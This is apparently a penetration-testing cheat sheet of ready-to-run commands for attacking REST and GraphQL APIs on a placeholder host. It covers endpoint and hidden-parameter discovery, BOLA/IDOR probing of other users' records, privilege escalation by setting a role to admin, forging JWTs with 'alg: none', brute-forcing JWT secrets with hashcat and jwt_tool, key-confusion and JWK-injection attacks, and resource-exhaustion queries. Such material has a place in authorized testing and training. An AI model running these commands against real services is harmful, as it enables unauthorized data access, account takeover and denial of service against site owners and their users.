REST API Attacks

# Discover API endpoints:

# Check common documentation URLs:
curl -s https://target.com/swagger.json
curl -s https://target.com/openapi.json
curl -s https://target.com/api-docs
curl -s https://target.com/v2/api-docs           # Spring Boot
curl -s https://target.com/swagger/v1/swagger.json # ASP.NET
curl -s https://target.com/.well-known/openapi.json

# Fuzz API paths:
ffuf -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
  -u https://target.com/api/FUZZ -mc 200,201,301,302,401,403,405

# Check for API versioning:
curl -s https://target.com/api/v1/users
curl -s https://target.com/api/v2/users  # May have different auth
curl -s https://target.com/api/v3/users  # Unreleased version?

# Arjun - discover hidden parameters:
arjun -u https://target.com/api/users -m GET
arjun -u https://target.com/api/users -m POST

# Kiterunner - API-aware content discovery:
kr scan https://target.com -w routes-large.kite

# BOLA (also called IDOR in APIs) — access other users' resources:

# Step 1: Make authenticated request to your own resource:
curl -s https://target.com/api/users/123/orders \
  -H 'Authorization: Bearer YOUR_TOKEN' | jq .

# Step 2: Change the object ID to another user's:
curl -s https://target.com/api/users/124/orders \
  -H 'Authorization: Bearer YOUR_TOKEN' | jq .

# If you see user 124's orders → BOLA confirmed!

# Test with different ID formats:
/api/users/123          # Sequential integer
/api/users/00000123     # Zero-padded
/api/users/abc-def-123  # UUID
/api/users/john@test.com # Email as ID

# Test all CRUD operations:
GET    /api/users/124          # Read
PUT    /api/users/124          # Update
DELETE /api/users/124          # Delete
PATCH  /api/users/124          # Partial update

# Test if regular user can access admin API endpoints:

# Admin endpoints to probe:
curl -s https://target.com/api/admin/users \
  -H 'Authorization: Bearer REGULAR_USER_TOKEN'

curl -s https://target.com/api/admin/config \
  -H 'Authorization: Bearer REGULAR_USER_TOKEN'

# HTTP method tampering:
# If GET is blocked, try other methods:
curl -X PUT https://target.com/api/admin/users/123 \
  -H 'Authorization: Bearer REGULAR_USER_TOKEN' \
  -H 'Content-Type: application/json' \
  -d '{"role": "admin"}'

# Test admin APIs discovered from documentation:
# POST /api/users/{id}/promote
# DELETE /api/users/{id}
# PUT /api/config/security
# POST /api/reports/generate

# Check if internal/management endpoints are accessible:
curl -s https://target.com/api/internal/metrics
curl -s https://target.com/api/internal/health
curl -s https://target.com/api/debug/vars

# Decode JWT (no key needed for header/payload):
echo 'eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiam9obiJ9.xxx' | \
  cut -d. -f2 | base64 -d 2>/dev/null | jq .

# Attack 1: Algorithm confusion (none)
# Change header to {"alg": "none"} and remove signature:
python3 -c "
import base64, json
header = base64.urlsafe_b64encode(json.dumps({'alg':'none','typ':'JWT'}).encode()).rstrip(b'=')
payload = base64.urlsafe_b64encode(json.dumps({'user':'admin','role':'admin'}).encode()).rstrip(b'=')
print(f'{header.decode()}.{payload.decode()}.')
"

# Attack 2: Weak secret brute force:
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
# Or use jwt_tool:
python3 jwt_tool.py <JWT> -C -d wordlist.txt

# Attack 3: Key confusion (RS256 → HS256):
# If server uses RS256 but accepts HS256,
# sign with the PUBLIC key as HMAC secret
python3 jwt_tool.py <JWT> -X k -pk public.pem

# Attack 4: JWK header injection:
python3 jwt_tool.py <JWT> -X i

# Test API rate limiting:
for i in $(seq 1 100); do
  CODE=$(curl -s -o /dev/null -w '%{http_code}' https://target.com/api/users)
  echo "Request $i: HTTP $CODE"
done
# If all return 200 → no rate limiting!

# Test resource exhaustion via pagination:
curl -s 'https://target.com/api/users?page=1&per_page=10000' | jq '.data | length'
# Returns all users in one request → memory exhaustion attack

# GraphQL-specific: nested query depth attacks
# Deep nesting can cause exponential server processing
curl -X POST https://target.com/graphql \
  -H 'Content-Type: application/json' \
  -d '{"query": "{users{friends{friends{friends{friends{name}}}}}}"}'